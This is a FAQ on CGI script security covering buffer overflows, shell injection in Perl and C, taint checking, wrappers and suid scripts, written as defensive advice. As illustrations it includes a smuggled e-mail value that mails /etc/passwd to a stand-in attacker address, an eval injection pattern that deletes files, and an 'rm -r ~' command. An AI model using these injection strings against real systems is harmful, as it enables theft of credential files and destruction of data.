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The World Wide Web Security FAQ
The World Wide Web Security FAQ
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CGI scripts can present security holes in two ways:
CGI scripts are potential security holes even though you run your server as "nobody". A subverted CGI script running as "nobody" still has enough privileges to mail out the system password file, examine the network information maps, or launch a log-in session on a high numbered port (it just needs to execute a few commands in Perl to accomplish this). Even if your server runs in a chroot directory, a buggy CGI script can leak sufficient system information to compromise the host.
There's also a risk of a hacker managing to create a .cgi file somewhere in your document tree and then executing it remotely by requesting its URL. A cgi-bin directory with tightly-controlled access lessens the possibility of this happening.
First of all is the issue of the remote user's access to the script's source code. The more the hacker knows about how a script works, the more likely he is to find bugs to exploit. With a script written in a compiled language like C, you can compile it to binary form, place it in cgi-bin/, and not worry about intruders gaining access to the source code. However, with an interpreted script, the source code is always potentially available. Even though a properly-configured server will not return the source code to an executable script, there are many scenarios in which this can be bypassed.
Consider the following scenario. For convenience's sake, you've decided to identify CGI scripts to the server using the .cgi extension. Later on, you need to make a small change to an interpreted CGI script. You open it up with the Emacs text editor and modify the script. Unfortunately the edit leaves a backup copy of the script source code lying around in the document tree. Although the remote user can't obtain the source code by fetching the script itself, he can now obtain the backup copy by blindly requesting the URL:
http://your-site/a/path/your_script.cgi~
(This is another good reason to limit CGI scripts to cgi-bin and to
make sure that cgi-bin is separate from the document root.)
Of course in many cases the source code to a CGI script written in C is freely available on the Web, and the ability of hackers to steal the source code isn't an issue.
Another reason that compiled code may be safer than interpreted code is the size and complexity issue. Big software programs, such as shell and Perl interpreters, are likely to contain bugs. Some of these bugs may be security holes. They're there, but we just don't know about them.
A third consideration is that the scripting languages make it extremely easy to send data to system commands and capture their output. As explained below, the invocation of system commands from within scripts is one of the major potential security holes. In C, it's more effort to invoke a system command, so it's less likely that the programmer will do it. In particular, it's very difficult to write a shell script of any complexity that completely avoids dangerous constructions. Shell scripting languages are poor choices for anything more than trivial CGI programs.
All this being said, please understand that I am not guaranteeing that a compiled program will be safe. C programs can contain many exploitable bugs, as the net's experiences with NCSA httpd 1.3 and sendmail shows. Counterbalancing the problems with interpreted scripts is that they tend to be shorter and are therefore more easily understood by other people than the author. Furthermore, Perl contains a number of built-in features that were designed to catch potential security holes. For example, the taint checks (see below) catch many of the common pitfalls in CGI scripting, and may make Perl scripts safer in some respects than the equivalent C program.
You can never be sure that a script is safe. The best you can do is to examine it carefully and understand what it's doing and how it's doing it. If you don't understand the language the script's written in, show it to someone who does.
Things to think about when you examine a script:
Note that this bug only endangers your Web site if you have the search engine installed locally. It does not affect sites that link to Excite.com's search pages, or sites that are indexed by the Excite robot.
A worse problem is found in unpatched versions of EWS earlier than Feburary 1998 (unfortunately, also called version 1.1). This bug involves the failure to check user-supplied parameters before passing them to the shell, allowing remote users to execute shell commands on the server host. The commands will be executed with the privileges of the Web server.
See http://www.excite.com/navigate/patches.html for more information and patches.
To my eternal chagrin, one of the buggy CGI scripts to be discovered is in nph-publish, a script that I wrote myself to allow HTML documents to be "published" to the Apache web server from a publish-savvy editor such as Netscape Navigator Gold. I didn't check user-provided pathnames correctly, potentially allowing the script to write files into places where they aren't allowed. If the server is run with too many privileges, this can cause big problems. If you use this script, please upgrade to version 1.2 or higher. The bug was discovered by Randal Schwartz (merlyn@stonehenge.com).
The holes in the second two scripts on the list were discovered by
Paul Phillips (paulp@cerf.net),
who also wrote the CGI
security FAQ. The hole in the PHF (phone book) script was
discovered by Jennifer Myers
(jmyers@marigold.eecs.nwu.edu), and is representative of a
potential security hole in all CGI scripts that use NCSA's
util.c library. Here's a
patch to fix the problem in util.c.
Reports of other buggy scripts will be posted here on an intermittent basis.
In addition, one of the scripts given as an example of "good CGI scripting" in the published book "Build a Web Site" by net.Genesis and Devra Hall contains the classic error of passing an unchecked user variable to the shell. The script in question is in Section 11.4, "Basic Search Script Using Grep", page 443. Other scripts in this book may contain similar security holes.
This list is far from complete. No centralized authority is monitoring all the CGI scripts that are released to the public; the CERT does issue alerts about buggy CGI scripts when it learns about them, and it's a good idea to subscribe to their mailing list, or to browse the alert archive from time to time (see the bibliography).
Ultimately it's up to you to examine each script and make sure that it's not doing anything unsafe.
Although they can be used to create neat effects, scripts that leak system information are to be avoided. For example, the "finger" command often prints out the physical path to the fingered user's home directory and scripts that invoke finger leak this information (you really should disable the finger daemon entirely, preferably by removing it). The w command gives information about what programs local users are using. The ps command, in all its shapes and forms, gives would-be intruders valuable information on what daemons are running on your system.
A MAJOR source of security holes has been coding practices that allowed character buffers to overflow when reading in user input. Here's a simple example of the problem:
#include <stdlib.h>
#include <stdio.h>
static char query_string[1024];
char* read_POST() {
int query_size;
query_size=atoi(getenv("CONTENT_LENGTH"));
fread(query_string,query_size,1,stdin);
return query_string;
}
The problem here is that the author has made the assumption that user
input provided by a POST request will never exceed the size of the
static input buffer, 1024 bytes in this example. This is not good. A
wily hacker can break this type of program by providing input many
times that size. The buffer overflows and crashes the program; in
some circumstances the crash can be exploited by the hacker to execute
commands remotely.
Here's a simple version of the read_POST() function that avoids this problem by allocating the buffer dynamically. If there isn't enough memory to hold the input, it returns NULL:
char* read_POST() {
int query_size=atoi(getenv("CONTENT_LENGTH"));
char* query_string = (char*) malloc(query_size);
if (query_string != NULL)
fread(query_string,query_size,1,stdin);
return query_string;
}
Of course, once you've read in the data, you should continue to make
sure your buffers don't overflow. Watch out for strcpy(), strcat()
and other string functions that blindly copy strings until they reach
the end. Use the strncpy() and strncat() calls instead.
#define MAXSTRINGLENGTH 255
char myString[MAXSTRINGLENGTH + sizeof('\0')];
char* query = read_POST();
assert(query != NULL);
strncpy(myString,query,MAXSTRINGLENGTH);
myString[MAXSTRINGLENGTH]='\0'; /* ensure string terminator */
(Note that the semantics of strncpy are nasty when the input string is
exactly MAXSTRINGLENGTH bytes long, leading to some necessary fiddling with
the terminating NULL.)
In C this includes the popen(), and system() commands, all of which invoke a /bin/sh subshell to process the command. In Perl this includes system(), exec(), and piped open() functions as well as the eval() function for invoking the Perl interpreter itself. In the various shells, this includes the exec and eval commands.
Backtick quotes, available in shell interpreters and Perl for capturing the output of programs as text strings, are also dangerous.
The reason for this bit of paranoia is illustrated by the following bit of innocent-looking Perl code that tries to send mail to an address indicated in a fill-out form.
$mail_to = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;The problem is in the piped open() call. The author has assumed that the contents of the $mail_to variable will always be an innocent e-mail address. But what if the wiley hacker passes an e-mail address that looks like this?
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
Now the open() statement will evaluate the following command:
/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwdUnintentionally, open() has mailed the contents of the system password file to the remote user, opening the host to password cracking attack.
$mailto = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail -t -oi"); print MAIL <<END; To: $mailto From: me (me\@nowhere.com) Subject: nothing much Hi there! END close MAIL;C programmers can use the exec family of commands to pass arguments directly to programs rather than going through the shell. This can also be accomplished in Perl using the technique described below.
You should try to find ways not to open a shell. In the rare cases when you have no choice, you should always scan the arguments for shell metacharacters and remove them. The list of shell metacharacters is extensive:
&;`'\"|*?~<>^()[]{}$\n\r
Notice that it contains the carriage return and newline characters,
something that someone at NCSA forgot when he or she wrote the
widely-distributed util.c library
as an example of CGI scripting in C.
It's a better policy to make sure that all user input arguments are exactly what you expect rather than blindly remove shell metacharacters and hope there aren't any unexpected side-effects. Even if you avoid the shell and pass user variables directly to a program, you can never be sure that they don't contain constructions that reveal holes in the programs you're calling.
For example, here's a way to make sure that the $mail_to address created by the user really does look like a valid address:
$mail_to = &get_name_from_input; # read the address from form
unless ($mail_to =~ /^[\w.+-]+\@[\w.+-]+$/) {
die 'Address not in form foo@nowhere.com';
}
(This particular pattern match may be too restrictive for some sites.
It doesn't allow UUCP-style addresses or any of the many alternative
addressing schemes).
system("ls -l /local/web/foo");
use this:
system("/bin/ls -l /local/web/foo");
If you must rely on the PATH, set it yourself at the beginning of your
CGI script:
putenv("PATH=/bin:/usr/bin:/usr/local/bin");
In general it's not a good idea to put the current directory (".") into the path.
Nothing can automatically make CGI scripts completely safe, but you can make them safer in some situations by placing them inside a CGI "wrapper" script. Wrappers may perform certain security checks on the script, change the ownership of the CGI process, or use the Unix chroot mechanism to place the script inside a restricted part of the file system.
There are a number of wrappers available for Unix systems:
cgiwrap allows you to put a wrapper around CGI scripts so that a user's scripts now run under his own user ID. This policy can be enforced so that users must use cgiwrap in order to execute CGI scripts. This simplifies administration and prevents users from interfering with each other.
However you should be aware that this type of wrapper does increase the risk to the individual user. Because his scripts now run with his own permissions, a subverted CGI script can trash his home directory by executing the command:
rm -r ~
Since the subverted CGI script has write access to the user's home directory, it could also place a trojan horse in the user's directory.
Another wrapper is sbox, written by the author. Like cgiwrap, it can run scripts as the CGI author's user and/or group. However, it takes additional steps to prevent CGI scripts from causing damage. For one thing, sbox optionally performs a chroot to a restricted directory, sealing the script off from the user's home directory and much of the rest of the file system. For another, you can use sbox to set resource allocation limitations on CGI scripts. This prevents certain denial-of-service attacks.
When running under the Unix version of Apache, sbox supports user-maintained directories and virtual hosts.
When restricting access to a script, remember to put the restrictions on the _script_ as well as any HTML forms that access it. It's easiest to remember this when the script is of the kind that generates its own form on the fly.
http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txtThis document contains a great deal of useful advice, but has not been updated since September 1995. More recently, Selena Sol has published an excellent article on the risks of installing pre-built CGI scripts, with much helpful advice on configuring and customizing these scripts to increase their security. This article can be found at:
http://Stars.com/Authoring/Scripting/Security/An excellent all-round introduction to Perl and CGI Scripting can be found in the Perl CGI FAQ,
http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.htmlwritten by Tom Christiansen (tchrist@perl.com) and Shishir Gundavaram (shishir@ora.com).
$date = `/bin/date`;
You can open up a pipe to a program:
open (SORT, " | /usr/bin/sort | /usr/bin/uniq");You can invoke an external program and wait for it to return with system():
system "/usr/bin/sort < foo.in";or you can invoke an external program and never return with exec():
exec "/usr/bin/sort < foo.in";All of these constructions can be risky if they involve user input that may contain shell metacharacters. For system() and exec(), there's a somewhat obscure syntactical feature that allows you to call external programs directly rather than going through a shell. If you pass the arguments to the external program, not in one long string, but as separate members in a list, then Perl will not go through the shell and shell metacharacters will have no unwanted side effects. For example:
system "/usr/bin/sort","foo.in";You can take advantage of this feature to open up a pipe without going through a shell. By calling open on the magic character sequence
|-, you fork a copy of Perl and open a pipe to the copy.
The child copy can then exec another program using the argument list
variant of exec().
my $result = open (SORT,"|-");
die "Couldn't open pipe to subprocess" unless defined($result);
exec "/usr/bin/sort",$uservariable or die "Couldn't exec sort"
if $result == 0;
for my $line (@lines) {
print SORT $line,"\n";
}
close SORT;
The initial call to open() tries to fork a copy of Perl. If
the call fails it returns an undefined value and the script
immediately dies (you might want to do something more sophisticated,
such as sending an HTML error message to the user). Otherwise, the
result will return zero to the child process, and the child's process
ID to the parent. The child process checks the result value, and
immediately attempts to exec the sort
program. If something fails at this point, the child quits.
The parent process can then print to the SORT filehandle in the normal way.
To read from a pipe without opening up a shell, you can do something
similar with the sequence -|:
$result = open(GREP,"-|");
die "Couldn't open pipe to subprocess" unless defined($result);
exec "/usr/bin/grep",'-i',$userpattern,$filename
or die "Couldn't exec grep" if $result == 0;
while (<GREP>) {
print "match: $_";
}
close GREP;
These are the forms of open() you should use whenever you would otherwise
perform a piped open to a command.
An even more obscure feature allows you to call an external program and lie to it about its name. This is useful for calling programs that behave differently depending on the name by which they were invoked.
The syntax is
system $real_name "fake_name","argument1","argument2"For example:
$shell = "/bin/sh"This invokes the shell using the name "-sh", forcing it to behave interactively. Note that the real name of the program must be stored in a variable, and that there's no comma between the variable holding the real name and the start of the argument list.
system $shell "-sh","-norc"
There's also a more compact syntax for this construction:
system { "/bin/sh" } "-sh","-norc"
You turn on taint checks in version 4 of Perl by using a special version of the interpreter named "taintperl":
#!/usr/local/bin/taintperlIn version 5 of perl, pass the -T flag to the interpreter:
#!/usr/local/bin/perl -TSee below for how to "untaint" a variable.
See Gunther Birznieks' CGI/Perl Taint Mode FAQ for a full discussion of taint mode.
$ENV{'PATH'} = '/bin:/usr/bin:/usr/local/bin';
Adjust this as necessary for the list of directories you want
searched. It's not a good idea to include the current directory
(".") in the path.
$mail_address=~/(\S+)\@([\w.-]+)/; $untainted_address = "$1\@$2";This pattern match accepts e-mail addresses of the form "who@where" where "where" looks like a domain name, and "who" consists of one or more non-whitespace characters. Note that this regular expression will not remove shell meta-characters from the e-mail address. This is because it is perfectly valid for e-mail addresses to contain such characters, as in:
fred&barney@bedrock.comJust because you have untainted a variable doesn't mean that it is now safe to pass it to a shell. E-mail addresses are the perfect examples of this. The taint checks are there in order to force you to recognize when a variable is potentially dangerous. Use the techniques described in Q44 to avoid passing dangerous variables to the shell.
$foo=~/$user_variable/ is unsafe?
foreach (@files) {
m/$user_pattern/o;
}
Now, however, Perl will ignore any changes you make to the user
variable, making this sort of loop fail:
foreach $user_pattern (@user_patterns) {
foreach (@files) {
print if m/$user_pattern/o;
}
}
To get around this problem Perl programmers often use this sort of
trick:
foreach $user_pattern (@user_patterns) {
eval "foreach (\@files) { print if m/$user_pattern/o; }";
}
The problem here is that the eval() statement involves a user-supplied
variable. Unless this variable is checked carefully, the eval()
statement can be tricked into executing arbitrary Perl code. (For
example of what can happen, consider what the eval statement does if
the user passes in this pattern: "/; system 'rm *'; /"
The taint checks described above will catch this potential problem. Your alternatives include using the unoptimized form of the pattern matching operation, or carefully untainting user-supplied patterns. In Perl5, a useful trick is to use the escape sequence \Q \E to quote metacharacters so that they won't be interpreted:
print if m/\Q$user_pattern\E/o;
You can make a script run with the privileges of its owner by setting its "s" bit:
chmod u+s foo.plYou can make it run with the privileges of its owner's group by setting the s bit in the group field:
chmod g+s foo.plHowever, many Unix systems contain a hole that allows suid scripts to be subverted. This hole affects only scripts, not compiled programs. On such systems, an attempt to execute a Perl script with the suid bits set will result in a nasty error message from Perl itself.
You have two options on such systems:
ftp://rtfm.mit.edu/pub/usenet-by-group/comp.lang.perl/
#include <unistd.h>
void main () {
execl("/usr/local/bin/perl","foo.pl","/local/web/cgi-bin/foo.pl",NULL);
}
After compiling this program, make it suid. It will run under its
owner's permission, launching a Perl interpreter and executing the
statements in the file "foo.pl".
Another option is to run the server itself as a user that has sufficient privileges to do whatever the scripts need to do. If you're using the Apache Web server, you can do this with the suEXEC or sbox applications. See see the wrappers section for details.
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Lincoln D. Stein (lstein@cshl.org) and John N. Stewart (jns@digitalisland.net)
$Id: wwwsf4.html,v 1.8 2001/07/28 17:54:26 lstein Exp $